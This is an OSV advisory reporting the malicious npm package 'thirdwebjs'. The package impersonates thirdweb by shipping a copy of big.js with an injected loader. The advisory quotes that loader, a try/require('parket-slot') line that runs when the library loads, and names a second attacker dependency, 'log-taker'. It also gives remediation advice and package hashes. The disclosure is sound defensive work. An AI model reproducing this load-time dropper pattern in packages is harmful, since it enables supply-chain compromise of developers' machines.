MAL-2026-6344

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/thirdwebjs/MAL-2026-6344.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6344
Aliases
  • GHSA-8jr3-m3cj-m436
Published
2026-06-23T20:01:23Z
Modified
2026-07-27T10:08:47.541983708Z
Summary
Malicious code in thirdwebjs (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (c8822953aa63581fd4fb3ea5a1511d646a56f6629e228257b37eb904efdee8e3)

Package name impersonates the well-known 'thirdweb' brand but ships a verbatim copy of MikeMcl's big.js arithmetic library with an injected loader. Both entrypoints declared in package.json exports (big.js line 606 and big.mjs line 606) contain try { const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {} — a require() that fires at library-load time and hands execution to the sibling package 'parket-slot'. package.json line 58 also declares "log-taker": "^0.0.9" as a runtime dependency, pulling a second attacker-controlled sibling into the installer's tree. The legitimate big.js source contains no such require. Any consumer that installs and requires/imports thirdwebjs in either CommonJS or ESM auto-executes code from parket-slot, with log-taker additionally resolved into node_modules at install time. This is a brand-impersonation dropper using sibling packages as the payload delivery channel.

Source: ghsa-malware (cf2b098b4554305b8488b5801ccc4a632a963720debc66623a7ac0f452d8a17c)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "versions": [
                "0.0.8"
            ],
            "modified_time": "2026-06-23T20:01:23Z",
            "id": "IN-MAL-2026-007353",
            "sha256": "c8822953aa63581fd4fb3ea5a1511d646a56f6629e228257b37eb904efdee8e3",
            "source": "amazon-inspector",
            "import_time": "2026-06-23T20:48:30.445221939Z"
        },
        {
            "modified_time": "2026-07-27T01:18:00Z",
            "id": "GHSA-8jr3-m3cj-m436",
            "source": "ghsa-malware",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "sha256": "cf2b098b4554305b8488b5801ccc4a632a963720debc66623a7ac0f452d8a17c",
            "import_time": "2026-07-27T09:43:03.777304984Z"
        }
    ]
}
References
Credits

Affected packages

npm / thirdwebjs

Package

Name
thirdwebjs
View open source insights on deps.dev
Purl
pkg:npm/thirdwebjs

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

0.*
0.0.8

Database specific

indicators 
{
    "package_integrity": [
        {
            "hashes": {
                "sha512_sri": "sha512-XEu8W9rcYbSGxgQUzi+nYmYKNSNMqmez8P29HmQamHoOPlghPV01ii0OULdxWNzJBssAz6r2gkwAtZT4ABAVUw==",
                "sha1": "27e3a665ca7ce75db69f329f0527c9a2f866cb68"
            },
            "filename": "thirdwebjs-0.0.8.tgz"
        }
    ],
    "evidence_files": [
        {
            "path": "big.js",
            "tlsh": "24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc",
            "sha256": "5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace"
        },
        {
            "path": "big.mjs",
            "tlsh": "50c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc",
            "sha256": "cc4f38d2c43eae53227a80cb79358fe6373f067d82d5b4b9e1cc135a0fbfbcc3"
        }
    ]
}
cwes 
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/thirdwebjs/MAL-2026-6344.json"